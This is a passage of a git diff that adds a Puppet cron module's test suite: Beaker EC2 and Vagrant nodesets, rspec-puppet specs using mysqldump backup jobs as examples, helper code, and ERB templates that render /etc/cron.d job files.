+# https://github.com/voxpupuli/modulesync_config
+#
+# see also: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md
+#
+# Hint: image IDs (ami-*) for the same image are different per location.
+#
+AMI:
+ # Amazon Linux AMI 2016.09.1 (HVM), SSD Volume Type
+ amazonlinux-2016091-eu-central-1:
+ :image:
+ :aio: ami-af0fc0c0
+ :region: eu-central-1
+ # Red Hat Enterprise Linux 7.3 (HVM), SSD Volume Type
+ rhel-73-eu-central-1:
+ :image:
+ :aio: ami-e4c63e8b
+ :region: eu-central-1
+ # SUSE Linux Enterprise Server 12 SP2 (HVM), SSD Volume Type
+ sles-12sp2-eu-central-1:
+ :image:
+ :aio: ami-c425e4ab
+ :region: eu-central-1
+ # Ubuntu Server 16.04 LTS (HVM), SSD Volume Type
+ ubuntu-1604-eu-central-1:
+ :image:
+ :aio: ami-fe408091
+ :region: eu-central-1
+ # Microsoft Windows Server 2016 Base
+ windows-2016-base-eu-central-1:
+ :image:
+ :aio: ami-88ec20e7
+ :region: eu-central-1
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/rhel-73-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/rhel-73-x64.yml
new file mode 100644
index 000000000..7fac8236a
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/rhel-73-x64.yml
@@ -0,0 +1,29 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+#
+# Additional ~/.fog config file with AWS EC2 credentials
+# required.
+#
+# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md
+#
+HOSTS:
+ rhel-73-x64:
+ roles:
+ - master
+ platform: el-7-x86_64
+ hypervisor: ec2
+ # refers to image_tempaltes.yaml AMI[vmname] entry:
+ vmname: rhel-73-eu-central-1
+ # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]:
+ snapshot: aio
+ # t2.micro is free tier eligible (https://aws.amazon.com/en/free/):
+ amisize: t2.micro
+ # required so that beaker sanitizes sshd_config and root authorized_keys:
+ user: ec2-user
+CONFIG:
+ type: aio
+ :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/sles-12sp2-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/sles-12sp2-x64.yml
new file mode 100644
index 000000000..8542154df
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/sles-12sp2-x64.yml
@@ -0,0 +1,29 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+#
+# Additional ~/.fog config file with AWS EC2 credentials
+# required.
+#
+# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md
+#
+HOSTS:
+ sles-12sp2-x64:
+ roles:
+ - master
+ platform: sles-12-x86_64
+ hypervisor: ec2
+ # refers to image_tempaltes.yaml AMI[vmname] entry:
+ vmname: sles-12sp2-eu-central-1
+ # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]:
+ snapshot: aio
+ # t2.micro is free tier eligible (https://aws.amazon.com/en/free/):
+ amisize: t2.micro
+ # required so that beaker sanitizes sshd_config and root authorized_keys:
+ user: ec2-user
+CONFIG:
+ type: aio
+ :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/ubuntu-1604-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/ubuntu-1604-x64.yml
new file mode 100644
index 000000000..9cf59d59e
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/ubuntu-1604-x64.yml
@@ -0,0 +1,29 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+#
+# Additional ~/.fog config file with AWS EC2 credentials
+# required.
+#
+# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md
+#
+HOSTS:
+ ubuntu-1604-x64:
+ roles:
+ - master
+ platform: ubuntu-16.04-amd64
+ hypervisor: ec2
+ # refers to image_tempaltes.yaml AMI[vmname] entry:
+ vmname: ubuntu-1604-eu-central-1
+ # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]:
+ snapshot: aio
+ # t2.micro is free tier eligible (https://aws.amazon.com/en/free/):
+ amisize: t2.micro
+ # required so that beaker sanitizes sshd_config and root authorized_keys:
+ user: ubuntu
+CONFIG:
+ type: aio
+ :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/windows-2016-base-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/windows-2016-base-x64.yml
new file mode 100644
index 000000000..0932e29c8
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/windows-2016-base-x64.yml
@@ -0,0 +1,29 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+#
+# Additional ~/.fog config file with AWS EC2 credentials
+# required.
+#
+# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md
+#
+HOSTS:
+ windows-2016-base-x64:
+ roles:
+ - master
+ platform: windows-2016-64
+ hypervisor: ec2
+ # refers to image_tempaltes.yaml AMI[vmname] entry:
+ vmname: windows-2016-base-eu-central-1
+ # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]:
+ snapshot: aio
+ # t2.micro is free tier eligible (https://aws.amazon.com/en/free/):
+ amisize: t2.micro
+ # required so that beaker sanitizes sshd_config and root authorized_keys:
+ user: ec2-user
+CONFIG:
+ type: aio
+ :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/fedora-25-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/fedora-25-x64.yml
new file mode 100644
index 000000000..60ae01179
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/fedora-25-x64.yml
@@ -0,0 +1,18 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+#
+# platform is fedora 24 because there is no
+# puppet-agent for fedora 25 by 2016-12-30
+HOSTS:
+ fedora-25-x64:
+ roles:
+ - master
+ platform: fedora-25-x86_64
+ box: fedora/25-cloud-base
+ hypervisor: vagrant
+CONFIG:
+ type: aio
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1204-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1204-x64.yml
new file mode 100644
index 000000000..29102c565
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1204-x64.yml
@@ -0,0 +1,15 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ ubuntu-server-1204-x64:
+ roles:
+ - master
+ platform: ubuntu-12.04-amd64
+ box: puppetlabs/ubuntu-12.04-64-nocm
+ hypervisor: vagrant
+CONFIG:
+ type: foss
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml
new file mode 100644
index 000000000..054e65880
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml
@@ -0,0 +1,15 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ ubuntu-server-1404-x64:
+ roles:
+ - master
+ platform: ubuntu-14.04-amd64
+ box: puppetlabs/ubuntu-14.04-64-nocm
+ hypervisor: vagrant
+CONFIG:
+ type: foss
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1604-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1604-x64.yml
new file mode 100644
index 000000000..bc85e0e84
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1604-x64.yml
@@ -0,0 +1,15 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ ubuntu-server-1604-x64:
+ roles:
+ - master
+ platform: ubuntu-16.04-amd64
+ box: puppetlabs/ubuntu-16.04-64-nocm
+ hypervisor: vagrant
+CONFIG:
+ type: foss
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/classes/coverage_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/classes/coverage_spec.rb
new file mode 100644
index 000000000..de446548b
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/classes/coverage_spec.rb
@@ -0,0 +1,4 @@
+require 'rspec-puppet'
+
+at_exit { RSpec::Puppet::Coverage.report! }
+# vim: syntax=ruby
diff --git a/modules/utilities/unix/puppet_module/cron/spec/classes/cron_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/classes/cron_spec.rb
new file mode 100644
index 000000000..51470021e
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/classes/cron_spec.rb
@@ -0,0 +1,147 @@
+require 'spec_helper'
+
+describe 'cron' do
+ context 'default' do
+ let :facts do
+ {
+ operatingsystem: 'Unsupported'
+ }
+ end
+
+ it { is_expected.to contain_class('cron::install') }
+ end
+
+ context 'manage_package => false' do
+ let :facts do
+ {
+ operatingsystem: 'Unsupported'
+ }
+ end
+ let(:params) do
+ { manage_package: false,
+ package_ensure: 'cron' }
+ end
+
+ it { is_expected.to contain_class('cron::install') }
+ it { is_expected.not_to contain_package('cron') }
+ end
+
+ context 'manage_package => true' do
+ let :facts do
+ {
+ operatingsystem: 'Unsupported'
+ }
+ end
+ let(:params) do
+ { manage_package: true,
+ package_ensure: 'installed' }
+ end
+
+ it { is_expected.to contain_class('cron::install') }
+ it { is_expected.to contain_package('cron') }
+ end
+
+ context 'package_ensure => absent' do
+ let :facts do
+ {
+ operatingsystem: 'Unsupported'
+ }
+ end
+ let(:params) do
+ { manage_package: true,
+ package_ensure: 'absent' }
+ end
+
+ it { is_expected.to contain_class('cron::install') }
+ it {
+ is_expected.to contain_package('cron').with(
+ 'name' => 'cron',
+ 'ensure' => 'absent'
+ )
+ }
+ end
+
+ context 'package_name => sys-process/cronie' do
+ let :facts do
+ {
+ operatingsystem: 'Gentoo'
+ }
+ end
+ let(:params) { { package_name: 'sys-process/cronie' } }
+
+ it { is_expected.to contain_class('cron::install') }
+ it {
+ is_expected.to contain_package('cron').with(
+ 'name' => 'sys-process/cronie',
+ 'ensure' => 'installed'
+ )
+ }
+ end
+
+ context 'manage_service => false' do
+ let :facts do
+ {
+ operatingsystem: 'Unsupported'
+ }
+ end
+ let(:params) { { manage_service: false } }
+
+ it { is_expected.to contain_class('cron::service') }
+ it { is_expected.not_to contain_service('cron') }
+ end
+
+ context 'manage_service => true' do
+ let :facts do
+ {
+ operatingsystem: 'Unsupported'
+ }
+ end
+ let(:params) { { manage_service: true } }
+
+ it { is_expected.to contain_class('cron::service') }
+ it { is_expected.to contain_service('cron') }
+ end
+
+ context 'service_ensure => stopped' do
+ let :facts do
+ {
+ operatingsystem: 'Unsupported'
+ }
+ end
+ let(:params) do
+ { manage_service: true,
+ service_ensure: 'stopped' }
+ end
+
+ it { is_expected.to contain_class('cron::service') }
+ it {
+ is_expected.to contain_service('cron').with(
+ 'name' => 'cron',
+ 'ensure' => 'stopped',
+ 'enable' => true
+ )
+ }
+ end
+
+ context 'service_ensure => stopped' do
+ let :facts do
+ {
+ operatingsystem: 'Unsupported'
+ }
+ end
+ let(:params) do
+ { manage_service: true,
+ service_ensure: 'stopped',
+ service_enable: false }
+ end
+
+ it { is_expected.to contain_class('cron::service') }
+ it {
+ is_expected.to contain_service('cron').with(
+ 'name' => 'cron',
+ 'ensure' => 'stopped',
+ 'enable' => false
+ )
+ }
+ end
+end
diff --git a/modules/utilities/unix/puppet_module/cron/spec/classes/install_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/classes/install_spec.rb
new file mode 100644
index 000000000..16d47913e
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/classes/install_spec.rb
@@ -0,0 +1,89 @@
+require 'spec_helper'
+
+describe 'cron::install' do
+ let(:pre_condition) do
+ 'include ::cron'
+ end
+
+ context 'default' do
+ let :facts do
+ {
+ operatingsystem: 'Unsupported'
+ }
+ end
+
+ it do
+ is_expected.to contain_package('cron').with('ensure' => 'installed', 'name' => 'cron')
+ end
+ end
+
+ context 'CentOS 5' do
+ let :facts do
+ {
+ os: {
+ family: 'RedHat',
+ release: {
+ major: '5'
+ }
+ }
+ }
+ end
+
+ it { is_expected.to contain_class('cron::install') }
+ it {
+ is_expected.to contain_package('cron').with(
+ 'name' => 'vixie-cron'
+ )
+ }
+ end
+
+ context 'CentOS 6' do
+ let :facts do
+ {
+ os: {
+ family: 'RedHat',
+ release: {
+ major: '6'
+ }
+ }
+ }
+ end
+
+ it { is_expected.to contain_class('cron::install') }
+ it {
+ is_expected.to contain_package('cron').with(
+ 'name' => 'cronie'
+ )
+ }
+ end
+
+ context 'Gentoo' do
+ let :facts do
+ {
+ os: { family: 'Gentoo' }
+ }
+ end
+
+ it { is_expected.to contain_class('cron::install') }
+ it {
+ is_expected.to contain_package('cron').with(
+ 'name' => 'virtual/cron'
+ )
+ }
+ end
+
+ context 'Debian' do
+ let :facts do
+ {
+ os: { family: 'debian' }
+ }
+ end
+
+ it { is_expected.to contain_class('cron::install') }
+ it {
+ is_expected.to contain_package('cron').with(
+ 'name' => 'cron'
+ )
+ }
+ end
+end
diff --git a/modules/utilities/unix/puppet_module/cron/spec/classes/service_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/classes/service_spec.rb
new file mode 100644
index 000000000..68f703ff7
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/classes/service_spec.rb
@@ -0,0 +1,86 @@
+require 'spec_helper'
+
+describe 'cron::service' do
+ let(:pre_condition) do
+ 'include ::cron'
+ end
+
+ context 'default' do
+ let :facts do
+ {
+ os: { family: 'Unsupported' },
+ operatingsystem: 'Unsupported'
+ }
+ end
+
+ it do
+ is_expected.to contain_service('cron').with(
+ 'ensure' => 'running',
+ 'name' => 'cron',
+ 'enable' => 'true'
+ )
+ end
+ end
+
+ context 'CentOS 5' do
+ let :facts do
+ {
+ os: {
+ family: 'RedHat',
+ release: { major: '5' }
+ }
+ }
+ end
+
+ it {
+ is_expected.to contain_service('crond').with(
+ 'name' => 'crond'
+ )
+ }
+ end
+
+ context 'CentOS 6' do
+ let :facts do
+ {
+ os: {
+ family: 'RedHat',
+ release: { major: '6' }
+ }
+ }
+ end
+
+ it {
+ is_expected.to contain_service('crond').with(
+ 'name' => 'crond'
+ )
+ }
+ end
+
+ context 'Gentoo' do
+ let :facts do
+ {
+ os: { family: 'Gentoo' }
+ }
+ end
+
+ it {
+ is_expected.to contain_service('cron').with(
+ 'name' => 'cron'
+ )
+ }
+ end
+
+ context 'Debian' do
+ let :facts do
+ {
+ os: { family: 'Debian' }
+ }
+ end
+
+ it {
+ is_expected.to contain_service('cron').with(
+ 'name' => 'cron'
+ )
+ }
+ end
+end
diff --git a/modules/utilities/unix/puppet_module/cron/spec/default_facts.yml b/modules/utilities/unix/puppet_module/cron/spec/default_facts.yml
new file mode 100644
index 000000000..13c416576
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/default_facts.yml
@@ -0,0 +1,14 @@
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+#
+# use default_module_facts.yaml for module specific
+# facts.
+#
+# Hint if using with rspec-puppet-facts ("on_supported_os.each"):
+# if a same named fact exists in facterdb it will be overridden.
+---
+concat_basedir: "/tmp"
+ipaddress: "172.16.254.254"
+is_pe: false
+macaddress: "AA:AA:AA:AA:AA:AA"
diff --git a/modules/utilities/unix/puppet_module/cron/spec/defines/daily_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/defines/daily_spec.rb
new file mode 100644
index 000000000..f933c14c8
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/defines/daily_spec.rb
@@ -0,0 +1,34 @@
+require 'spec_helper'
+
+describe 'cron::daily' do
+ let(:title) { 'mysql_backup' }
+ let(:params) do
+ {
+ minute: '59',
+ hour: '1',
+ command: 'mysqldump -u root test_db >some_file'
+ }
+ end
+
+ it do
+ is_expected.to contain_cron__job(title).with(
+ 'minute' => params[:minute],
+ 'hour' => params[:hour],
+ 'date' => '*',
+ 'month' => '*',
+ 'weekday' => '*',
+ 'user' => params[:user] || 'root',
+ 'environment' => params[:environment] || [],
+ 'mode' => params[:mode] || '0644',
+ 'command' => params[:command]
+ )
+ end
+
+ it do
+ is_expected.to contain_file("job_#{title}").with(
+ 'owner' => 'root'
+ ).with_content(
+ %r{\s+59 1 \* \* \* root mysqldump -u root test_db >some_file\n}
+ )
+ end
+end
diff --git a/modules/utilities/unix/puppet_module/cron/spec/defines/hourly_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/defines/hourly_spec.rb
new file mode 100644
index 000000000..9f4799c11
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/defines/hourly_spec.rb
@@ -0,0 +1,33 @@
+require 'spec_helper'
+
+describe 'cron::hourly' do
+ let(:title) { 'mysql_backup' }
+ let(:params) do
+ {
+ minute: '59',
+ command: 'mysqldump -u root test_db >some_file'
+ }
+ end
+
+ it do
+ is_expected.to contain_cron__job(title).with(
+ 'minute' => params[:minute],
+ 'hour' => '*',
+ 'date' => '*',
+ 'month' => '*',
+ 'weekday' => '*',
+ 'user' => params[:user] || 'root',
+ 'environment' => params[:environment] || [],
+ 'mode' => params[:mode] || '0644',
+ 'command' => params[:command]
+ )
+ end
+
+ it do
+ is_expected.to contain_file("job_#{title}").with(
+ 'owner' => 'root'
+ ).with_content(
+ %r{\s+59 \* \* \* \* root mysqldump -u root test_db >some_file\n}
+ )
+ end
+end
diff --git a/modules/utilities/unix/puppet_module/cron/spec/defines/job_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/defines/job_spec.rb
new file mode 100644
index 000000000..b4f9bf9d9
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/defines/job_spec.rb
@@ -0,0 +1,71 @@
+require 'spec_helper'
+
+describe 'cron::job' do
+ let(:title) { 'mysql_backup' }
+
+ context 'job with default values' do
+ let(:params) { { command: 'mysqldump -u root test_db >some_file' } }
+ let(:cron_timestamp) { get_timestamp(params) }
+
+ it do
+ is_expected.to contain_file("job_#{title}").with(
+ 'ensure' => 'file',
+ 'owner' => 'root',
+ 'group' => 'root',
+ 'mode' => '0644',
+ 'path' => "/etc/cron.d/#{title}"
+ ).with_content(
+ %r{\n#{cron_timestamp}\s+}
+ ).with_content(
+ %r{\s+#{params[:command]}\n}
+ )
+ end
+ end
+
+ context 'job with custom values' do
+ let(:params) do
+ {
+ minute: '45',
+ hour: '7',
+ date: '12',
+ month: '7',
+ weekday: '*',
+ environment: ['MAILTO="root"', 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"'],
+ user: 'admin',
+ mode: '0644',
+ description: 'Mysql backup',
+ command: 'mysqldump -u root test_db >some_file'
+ }
+ end
+ let(:cron_timestamp) { get_timestamp(params) }
+
+ it do
+ is_expected.to contain_file("job_#{title}").with(
+ 'owner' => 'root',
+ 'mode' => params[:mode]
+ ).with_content(
+ %r{\n#{params[:environment].join('\n')}\n}
+ ).with_content(
+ %r{\n#{cron_timestamp}\s+}
+ ).with_content(
+ %r{\s+#{params[:user]}\s+}
+ ).with_content(
+ %r{\s+#{params[:command]}\n}
+ ).with_content(
+ %r{\n# #{params[:description]}\n}
+ )
+ end
+ end
+
+ context 'job with ensure set to absent' do
+ let(:params) do
+ {
+ ensure: 'absent'
+ }
+ end
+
+ it do
+ is_expected.to contain_file("job_#{title}").with('ensure' => 'absent')
+ end
+ end
+end
diff --git a/modules/utilities/unix/puppet_module/cron/spec/defines/monthly_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/defines/monthly_spec.rb
new file mode 100644
index 000000000..43dc273c7
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/defines/monthly_spec.rb
@@ -0,0 +1,35 @@
+require 'spec_helper'
+
+describe 'cron::monthly' do
+ let(:title) { 'mysql_backup' }
+ let(:params) do
+ {
+ minute: '59',
+ hour: '1',
+ date: '20',
+ command: 'mysqldump -u root test_db >some_file'
+ }
+ end
+
+ it do
+ is_expected.to contain_cron__job(title).with(
+ 'minute' => params[:minute],
+ 'hour' => params[:hour],
+ 'date' => params[:date],
+ 'month' => '*',
+ 'weekday' => '*',
+ 'user' => params[:user] || 'root',
+ 'environment' => params[:environment] || [],
+ 'mode' => params[:mode] || '0644',
+ 'command' => params[:command]
+ )
+ end
+
+ it do
+ is_expected.to contain_file("job_#{title}").with(
+ 'owner' => 'root'
+ ).with_content(
+ %r{\s+59 1 20 \* \* root mysqldump -u root test_db >some_file\n}
+ )
+ end
+end
diff --git a/modules/utilities/unix/puppet_module/cron/spec/defines/multiple_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/defines/multiple_spec.rb
new file mode 100644
index 000000000..02a6883c1
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/defines/multiple_spec.rb
@@ -0,0 +1,64 @@
+require 'spec_helper'
+
+describe 'cron::job::multiple' do
+ let(:title) { 'mysql_backup' }
+
+ context 'multiple job with custom and default values' do
+ let(:params) do
+ {
+ environment: ['MAILTO="root"', 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"'],
+ jobs: [
+ {
+ 'minute' => '45',
+ 'hour' => '7',
+ 'date' => '12',
+ 'month' => '7',
+ 'weekday' => '*',
+ 'user' => 'admin',
+ 'command' => 'mysqldump -u root test_db >some_file'
+ },
+ {
+ 'command' => '/bin/true'
+ }
+ ],
+ mode: '0640'
+ }
+ end
+ let(:cron_timestamp) { get_timestamp(params) }
+
+ it do
+ is_expected.to contain_file("job_#{title}").with(
+ 'owner' => 'root',
+ 'mode' => params[:mode]
+ ).with_content(
+ %r{\n#{params[:environment].join('\n')}\n}
+ ).with_content(
+ %r{\n#{cron_timestamp}\s+}
+ ).with_content(
+ %r{\s+45 7 12 7 \* admin mysqldump -u root test_db >some_file\n}
+ ).with_content(
+ # /\s+\* \* \* \* \* root \/bin\/true\n/
+ %r{\* \* \* \* \* root /bin/true}
+ )
+ end
+ end
+
+ context 'multiple job with ensure set to absent' do
+ let(:params) do
+ {
+ ensure: 'absent',
+ jobs: [
+ {
+ 'command' => '/bin/true'
+ }, {
+ 'command' => '/bin/false'
+ }
+ ]
+ }
+ end
+
+ it do
+ is_expected.to contain_file("job_#{title}").with('ensure' => 'absent')
+ end
+ end
+end
diff --git a/modules/utilities/unix/puppet_module/cron/spec/defines/weekly_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/defines/weekly_spec.rb
new file mode 100644
index 000000000..501666998
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/defines/weekly_spec.rb
@@ -0,0 +1,35 @@
+require 'spec_helper'
+
+describe 'cron::weekly' do
+ let(:title) { 'mysql_backup' }
+ let(:params) do
+ {
+ minute: '59',
+ hour: '1',
+ weekday: '2',
+ command: 'mysqldump -u root test_db >some_file'
+ }
+ end
+
+ it do
+ is_expected.to contain_cron__job(title).with(
+ 'minute' => params[:minute],
+ 'hour' => params[:hour],
+ 'date' => '*',
+ 'month' => '*',
+ 'weekday' => params[:weekday],
+ 'user' => params[:user] || 'root',
+ 'environment' => params[:environment] || [],
+ 'mode' => params[:mode] || '0644',
+ 'command' => params[:command]
+ )
+ end
+
+ it do
+ is_expected.to contain_file("job_#{title}").with(
+ 'owner' => 'root'
+ ).with_content(
+ %r{\s+59 1 \* \* 2 root mysqldump -u root test_db >some_file\n}
+ )
+ end
+end
diff --git a/modules/utilities/unix/puppet_module/cron/spec/hosts/.gitkeep b/modules/utilities/unix/puppet_module/cron/spec/hosts/.gitkeep
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/utilities/unix/puppet_module/cron/spec/spec_helper.rb b/modules/utilities/unix/puppet_module/cron/spec/spec_helper.rb
new file mode 100644
index 000000000..95902045c
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/spec_helper.rb
@@ -0,0 +1,32 @@
+require 'puppetlabs_spec_helper/module_spec_helper'
+require 'rspec-puppet-facts'
+include RspecPuppetFacts
+
+if Dir.exist?(File.expand_path('../../lib', __FILE__))
+ require 'coveralls'
+ require 'simplecov'
+ require 'simplecov-console'
+ SimpleCov.formatters = [
+ SimpleCov::Formatter::HTMLFormatter,
+ SimpleCov::Formatter::Console
+ ]
+ SimpleCov.start do
+ track_files 'lib/**/*.rb'
+ add_filter '/spec'
+ add_filter '/vendor'
+ add_filter '/.vendor'
+ end
+end
+
+RSpec.configure do |c|
+ default_facts = {
+ puppetversion: Puppet.version,
+ facterversion: Facter.version
+ }
+ default_facts.merge!(YAML.load(File.read(File.expand_path('../default_facts.yml', __FILE__)))) if File.exist?(File.expand_path('../default_facts.yml', __FILE__))
+ default_facts.merge!(YAML.load(File.read(File.expand_path('../default_module_facts.yml', __FILE__)))) if File.exist?(File.expand_path('../default_module_facts.yml', __FILE__))
+ c.default_facts = default_facts
+end
+
+require 'spec_helper_methods'
+# vim: syntax=ruby
diff --git a/modules/utilities/unix/puppet_module/cron/spec/spec_helper_methods.rb b/modules/utilities/unix/puppet_module/cron/spec/spec_helper_methods.rb
new file mode 100644
index 000000000..d784db41c
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/spec_helper_methods.rb
@@ -0,0 +1,7 @@
+def get_timestamp(params = {})
+ stamp = ''
+ [:minute, :hour, :date, :month, :weekday].each do |k|
+ stamp << "#{params[k] || '*'} "
+ end
+ stamp.strip
+end
diff --git a/modules/utilities/unix/puppet_module/cron/templates/.gitkeep b/modules/utilities/unix/puppet_module/cron/templates/.gitkeep
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/utilities/unix/puppet_module/cron/templates/job.erb b/modules/utilities/unix/puppet_module/cron/templates/job.erb
new file mode 100644
index 000000000..4497a732e
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/templates/job.erb
@@ -0,0 +1,24 @@
+################################################################################
+# This file is managed by Puppet, and is refreshed regularly. #
+# Edit at your own peril! #
+################################################################################
+## <%= @name %> Cron Job
+
+# Environment Settings
+<% Array(@environment).join("\n").split(%r{\n}).each do |env_var|
+ if env_var.match(%r{\S+=\S+}) -%>
+<%= env_var %>
+<% elsif env_var.match(%r{\S}) -%>
+## Possible input error: <%= env_var %>
+<% end
+ end -%>
+
+# Job Definition
+<% if @description -%>
+# <%= @description %>
+<% end -%>
+<%- if @special.nil? -%>
+<%= @minute %> <%= @hour %> <%= @date %> <%= @month %> <%= @weekday %> <%= @user %> <%= @command %>
+<% else -%>
+@<%= @special %> <%= @user %> <%= @command %>
+<% end -%>
diff --git a/modules/utilities/unix/puppet_module/cron/templates/multiple.erb b/modules/utilities/unix/puppet_module/cron/templates/multiple.erb
new file mode 100644
index 000000000..d9be31409
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/templates/multiple.erb
@@ -0,0 +1,47 @@
+################################################################################
+# This file is managed by Puppet, and is refreshed regularly. #
+# Edit at your own peril! #
+################################################################################
+## <%= @name %> Cron Job
+
+# Environment Settings
+<% Array(@environment).join("\n").split(%r{\n}).each do |env_var|
+ if env_var.match(%r{\S+=\S+}) -%>
+<%= env_var %>
+<% elsif env_var.match(%r{\S}) -%>
+## Possible input error: <%= env_var %>
+<% end
+ end -%>
+
+<%- Array(@jobs).each do | job | -%>
+ <%- if job['command'].nil? -%>
+ <%- scope.function_fail(["Must pass command to Cron::Jobs"]) -%>
+ <%- end -%>
+ <%- if job['minute'].nil? -%>
+ <%- job['minute'] = '*' -%>
+ <%- end -%>
+ <%- if job['hour'].nil? -%>
+ <%- job['hour'] = '*' -%>
+ <%- end -%>
+ <%- if job['date'].nil? -%>
+ <%- job['date'] = '*' -%>
+ <%- end -%>
+ <%- if job['month'].nil? -%>
+ <%- job['month'] = '*' -%>
+ <%- end -%>
+ <%- if job['weekday'].nil? -%>
+ <%- job['weekday'] = '*' -%>
+ <%- end -%>
+ <%- if job['user'].nil? -%>
+ <%- job['user'] = 'root' -%>
+ <%- end -%>
+<% if job.has_key?('description') -%>
+
+# <%= job['description'] %>
+<% end -%>
+<%- if job['special'].nil? -%>
+<%= job['minute'] %> <%= job['hour'] %> <%= job['date'] %> <%= job['month'] %> <%= job['weekday'] %> <%= job['user'] %> <%= job['command'] %>
+<% else -%>
+@<%= job['special'] %> <%= job['user'] %> <%= job['command'] %>
+<% end -%>
+<% end -%>
